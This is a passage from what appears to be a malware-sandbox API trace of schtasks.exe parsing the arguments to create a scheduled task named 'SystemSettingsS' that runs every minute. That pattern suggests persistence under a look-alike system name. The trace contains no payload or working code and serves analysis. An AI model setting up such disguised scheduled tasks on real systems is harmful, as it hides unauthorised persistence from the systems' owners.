returned 0x1685a9b0000 [0132.968] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x18) returned 0x1685a9b4390 [0132.968] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.968] GetProcessHeap () returned 0x1685a9b0000 [0132.968] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x14) returned 0x1685a9b43b0 [0132.968] _vsnwprintf (in: _Buffer=0x1685a9b4370, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|?|") returned 3 [0132.968] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|create|") returned 8 [0132.968] lstrlenW (lpString="|?|") returned 3 [0132.968] lstrlenW (lpString="|create|") returned 8 [0132.968] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.968] lstrlenW (lpString="create") returned 6 [0132.968] lstrlenW (lpString="create") returned 6 [0132.968] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.968] GetProcessHeap () returned 0x1685a9b0000 [0132.968] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b4370) returned 1 [0132.968] GetProcessHeap () returned 0x1685a9b0000 [0132.968] RtlReAllocateHeap (Heap=0x1685a9b0000, Flags=0xc, Ptr=0x1685a9b4370, Size=0x14) returned 0x1685a9b46c0 [0132.968] lstrlenW (lpString="create") returned 6 [0132.968] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.968] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|create|") returned 8 [0132.968] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|create|") returned 8 [0132.968] lstrlenW (lpString="|create|") returned 8 [0132.968] lstrlenW (lpString="|create|") returned 8 [0132.969] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0132.969] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.969] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.969] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.969] lstrlenW (lpString="/tn") returned 3 [0132.969] lstrlenW (lpString="-/") returned 2 [0132.969] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0132.969] lstrlenW (lpString="?") returned 1 [0132.969] lstrlenW (lpString="?") returned 1 [0132.969] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.969] lstrlenW (lpString="tn") returned 2 [0132.969] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.969] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|?|") returned 3 [0132.969] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|tn|") returned 4 [0132.969] lstrlenW (lpString="|?|") returned 3 [0132.969] lstrlenW (lpString="|tn|") returned 4 [0132.969] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.969] lstrlenW (lpString="create") returned 6 [0132.969] lstrlenW (lpString="create") returned 6 [0132.969] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.969] lstrlenW (lpString="tn") returned 2 [0132.969] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.969] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|create|") returned 8 [0132.969] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|tn|") returned 4 [0132.970] lstrlenW (lpString="|create|") returned 8 [0132.970] lstrlenW (lpString="|tn|") returned 4 [0132.970] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0132.970] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.970] lstrlenW (lpString="delete") returned 6 [0132.970] lstrlenW (lpString="delete") returned 6 [0132.970] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.970] lstrlenW (lpString="tn") returned 2 [0132.970] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.970] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|delete|") returned 8 [0132.970] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|tn|") returned 4 [0132.970] lstrlenW (lpString="|delete|") returned 8 [0132.970] lstrlenW (lpString="|tn|") returned 4 [0132.970] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0132.970] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.970] lstrlenW (lpString="query") returned 5 [0132.970] lstrlenW (lpString="query") returned 5 [0132.970] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.970] lstrlenW (lpString="tn") returned 2 [0132.970] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.970] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|query|") returned 7 [0132.970] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|tn|") returned 4 [0132.970] lstrlenW (lpString="|query|") returned 7 [0132.971] lstrlenW (lpString="|tn|") returned 4 [0132.971] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0132.971] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.971] lstrlenW (lpString="change") returned 6 [0132.971] lstrlenW (lpString="change") returned 6 [0132.971] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.971] lstrlenW (lpString="tn") returned 2 [0132.971] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.971] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|change|") returned 8 [0132.971] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|tn|") returned 4 [0132.971] lstrlenW (lpString="|change|") returned 8 [0132.971] lstrlenW (lpString="|tn|") returned 4 [0132.971] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0132.971] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.971] lstrlenW (lpString="run") returned 3 [0132.971] lstrlenW (lpString="run") returned 3 [0132.971] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.971] lstrlenW (lpString="tn") returned 2 [0132.971] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.971] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|run|") returned 5 [0132.971] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|tn|") returned 4 [0132.971] lstrlenW (lpString="|run|") returned 5 [0132.971] lstrlenW (lpString="|tn|") returned 4 [0132.972] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0132.972] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.972] lstrlenW (lpString="end") returned 3 [0132.972] lstrlenW (lpString="end") returned 3 [0132.972] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.972] lstrlenW (lpString="tn") returned 2 [0132.972] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.972] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|end|") returned 5 [0132.972] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|tn|") returned 4 [0132.972] lstrlenW (lpString="|end|") returned 5 [0132.972] lstrlenW (lpString="|tn|") returned 4 [0132.972] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0132.972] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.972] lstrlenW (lpString="showsid") returned 7 [0132.972] lstrlenW (lpString="showsid") returned 7 [0132.972] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.972] GetProcessHeap () returned 0x1685a9b0000 [0132.972] HeapValidate (hHeap=0x1685a9b0000, dwFlags=0x0, lpMem=0x1685a9b46c0) returned 1 [0132.972] GetProcessHeap () returned 0x1685a9b0000 [0132.972] RtlReAllocateHeap (Heap=0x1685a9b0000, Flags=0xc, Ptr=0x1685a9b46c0, Size=0x16) returned 0x1685a9b46c0 [0132.972] lstrlenW (lpString="tn") returned 2 [0132.972] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.972] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|showsid|") returned 9 [0132.972] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|tn|") returned 4 [0132.973] lstrlenW (lpString="|showsid|") returned 9 [0132.973] lstrlenW (lpString="|tn|") returned 4 [0132.973] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0132.973] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.973] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.973] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.973] lstrlenW (lpString="/tn") returned 3 [0132.973] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0132.973] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.973] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.973] lstrlenW (lpString="/tn") returned 3 [0132.973] GetProcessHeap () returned 0x1685a9b0000 [0132.973] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x8) returned 0x1685a9b4370 [0132.973] GetProcessHeap () returned 0x1685a9b0000 [0132.973] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9bba40 [0132.973] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.973] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.973] lstrlenW (lpString="SystemSettingsS") returned 15 [0132.973] lstrlenW (lpString="-/") returned 2 [0132.973] StrChrIW (lpStart="-/", wMatch=0x53) returned 0x0 [0132.973] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.973] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.973] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.973] lstrlenW (lpString="SystemSettingsS") returned 15 [0132.973] StrChrIW (lpStart="SystemSettingsS", wMatch=0x3a) returned 0x0 [0132.973] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.973] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.973] lstrlenW (lpString="SystemSettingsS") returned 15 [0132.974] GetProcessHeap () returned 0x1685a9b0000 [0132.974] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9bb650 [0132.974] GetProcessHeap () returned 0x1685a9b0000 [0132.974] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9bb590 [0132.974] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.974] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.974] lstrlenW (lpString="/sc") returned 3 [0132.974] lstrlenW (lpString="-/") returned 2 [0132.974] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0132.974] lstrlenW (lpString="?") returned 1 [0132.974] lstrlenW (lpString="?") returned 1 [0132.974] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.974] lstrlenW (lpString="sc") returned 2 [0132.974] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.974] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|?|") returned 3 [0132.974] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|sc|") returned 4 [0132.974] lstrlenW (lpString="|?|") returned 3 [0132.974] lstrlenW (lpString="|sc|") returned 4 [0132.974] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.974] lstrlenW (lpString="create") returned 6 [0132.974] lstrlenW (lpString="create") returned 6 [0132.974] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.974] lstrlenW (lpString="sc") returned 2 [0132.974] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.974] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|create|") returned 8 [0132.975] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|sc|") returned 4 [0132.975] lstrlenW (lpString="|create|") returned 8 [0132.975] lstrlenW (lpString="|sc|") returned 4 [0132.975] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0132.975] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.975] lstrlenW (lpString="delete") returned 6 [0132.975] lstrlenW (lpString="delete") returned 6 [0132.975] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.975] lstrlenW (lpString="sc") returned 2 [0132.975] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.975] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|delete|") returned 8 [0132.975] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|sc|") returned 4 [0132.975] lstrlenW (lpString="|delete|") returned 8 [0132.975] lstrlenW (lpString="|sc|") returned 4 [0132.975] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0132.975] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.975] lstrlenW (lpString="query") returned 5 [0132.975] lstrlenW (lpString="query") returned 5 [0132.975] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.975] lstrlenW (lpString="sc") returned 2 [0132.975] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.975] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|query|") returned 7 [0132.975] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|sc|") returned 4 [0132.976] lstrlenW (lpString="|query|") returned 7 [0132.976] lstrlenW (lpString="|sc|") returned 4 [0132.976] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0132.976] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.976] lstrlenW (lpString="change") returned 6 [0132.976] lstrlenW (lpString="change") returned 6 [0132.976] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.976] lstrlenW (lpString="sc") returned 2 [0132.976] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.976] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|change|") returned 8 [0132.976] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|sc|") returned 4 [0132.976] lstrlenW (lpString="|change|") returned 8 [0132.976] lstrlenW (lpString="|sc|") returned 4 [0132.976] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0132.976] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.976] lstrlenW (lpString="run") returned 3 [0132.976] lstrlenW (lpString="run") returned 3 [0132.976] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.976] lstrlenW (lpString="sc") returned 2 [0132.976] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.976] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|run|") returned 5 [0132.976] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|sc|") returned 4 [0132.976] lstrlenW (lpString="|run|") returned 5 [0132.976] lstrlenW (lpString="|sc|") returned 4 [0132.977] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0132.977] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.977] lstrlenW (lpString="end") returned 3 [0132.977] lstrlenW (lpString="end") returned 3 [0132.977] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.977] lstrlenW (lpString="sc") returned 2 [0132.977] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.977] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|end|") returned 5 [0132.977] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|sc|") returned 4 [0132.977] lstrlenW (lpString="|end|") returned 5 [0132.977] lstrlenW (lpString="|sc|") returned 4 [0132.977] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0132.977] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.977] lstrlenW (lpString="showsid") returned 7 [0132.977] lstrlenW (lpString="showsid") returned 7 [0132.977] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.977] lstrlenW (lpString="sc") returned 2 [0132.977] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.977] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|showsid|") returned 9 [0132.977] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|sc|") returned 4 [0132.977] lstrlenW (lpString="|showsid|") returned 9 [0132.977] lstrlenW (lpString="|sc|") returned 4 [0132.977] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0132.977] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.977] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.978] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.978] lstrlenW (lpString="/sc") returned 3 [0132.978] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0132.978] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.978] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.978] lstrlenW (lpString="/sc") returned 3 [0132.978] GetProcessHeap () returned 0x1685a9b0000 [0132.978] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x8) returned 0x1685a9b46f0 [0132.978] GetProcessHeap () returned 0x1685a9b0000 [0132.978] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9bb980 [0132.978] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.978] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.978] lstrlenW (lpString="MINUTE") returned 6 [0132.981] lstrlenW (lpString="-/") returned 2 [0132.981] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0132.981] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.981] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.981] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.981] lstrlenW (lpString="MINUTE") returned 6 [0132.982] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0132.982] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.982] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.982] lstrlenW (lpString="MINUTE") returned 6 [0132.982] GetProcessHeap () returned 0x1685a9b0000 [0132.982] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0xe) returned 0x1685a9b4710 [0132.982] GetProcessHeap () returned 0x1685a9b0000 [0132.982] RtlAllocateHeap (HeapHandle=0x1685a9b0000, Flags=0xc, Size=0x20) returned 0x1685a9bbb00 [0132.982] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.982] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.982] lstrlenW (lpString="/mo") returned 3 [0132.982] lstrlenW (lpString="-/") returned 2 [0132.982] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0132.982] lstrlenW (lpString="?") returned 1 [0132.982] lstrlenW (lpString="?") returned 1 [0132.982] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.982] lstrlenW (lpString="mo") returned 2 [0132.982] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.982] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|?|") returned 3 [0132.982] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|mo|") returned 4 [0132.982] lstrlenW (lpString="|?|") returned 3 [0132.982] lstrlenW (lpString="|mo|") returned 4 [0132.982] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.983] lstrlenW (lpString="create") returned 6 [0132.983] lstrlenW (lpString="create") returned 6 [0132.983] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.983] lstrlenW (lpString="mo") returned 2 [0132.983] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.983] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|create|") returned 8 [0132.983] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|mo|") returned 4 [0132.983] lstrlenW (lpString="|create|") returned 8 [0132.983] lstrlenW (lpString="|mo|") returned 4 [0132.983] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0132.983] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.983] lstrlenW (lpString="delete") returned 6 [0132.983] lstrlenW (lpString="delete") returned 6 [0132.983] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.983] lstrlenW (lpString="mo") returned 2 [0132.983] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.983] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|delete|") returned 8 [0132.983] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|mo|") returned 4 [0132.983] lstrlenW (lpString="|delete|") returned 8 [0132.983] lstrlenW (lpString="|mo|") returned 4 [0132.983] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0132.983] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.983] lstrlenW (lpString="query") returned 5 [0132.983] lstrlenW (lpString="query") returned 5 [0132.984] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.984] lstrlenW (lpString="mo") returned 2 [0132.984] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.984] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|query|") returned 7 [0132.984] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|mo|") returned 4 [0132.984] lstrlenW (lpString="|query|") returned 7 [0132.984] lstrlenW (lpString="|mo|") returned 4 [0132.984] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0132.984] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.984] lstrlenW (lpString="change") returned 6 [0132.984] lstrlenW (lpString="change") returned 6 [0132.984] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.984] lstrlenW (lpString="mo") returned 2 [0132.984] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.984] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|change|") returned 8 [0132.984] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|mo|") returned 4 [0132.984] lstrlenW (lpString="|change|") returned 8 [0132.984] lstrlenW (lpString="|mo|") returned 4 [0132.984] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0132.984] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.984] lstrlenW (lpString="run") returned 3 [0132.984] lstrlenW (lpString="run") returned 3 [0132.984] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.985] lstrlenW (lpString="mo") returned 2 [0132.985] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.985] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|run|") returned 5 [0132.985] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|mo|") returned 4 [0132.985] lstrlenW (lpString="|run|") returned 5 [0132.985] lstrlenW (lpString="|mo|") returned 4 [0132.985] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0132.985] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.985] lstrlenW (lpString="end") returned 3 [0132.985] lstrlenW (lpString="end") returned 3 [0132.985] _memicmp (_Buf1=0x1685a9b4350, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.985] lstrlenW (lpString="mo") returned 2 [0132.985] _memicmp (_Buf1=0x1685a9b4390, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.985] _vsnwprintf (in: _Buffer=0x1685a9b46c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|end|") returned 5 [0132.985] _vsnwprintf (in: _Buffer=0x1685a9b43b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x22531af758 | out: _Buffer="|mo|") returned 4 [0132.985] lstrlenW (lpString="|end|") returned 5 [0132.985] lstrlenW (lpString="|mo|") returned 4 [0132.985] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0132.985] RtlRestoreLastWin32Error () returned 0x2253351000 [0132.985] lstrlenW (lpString="showsid") returned 7 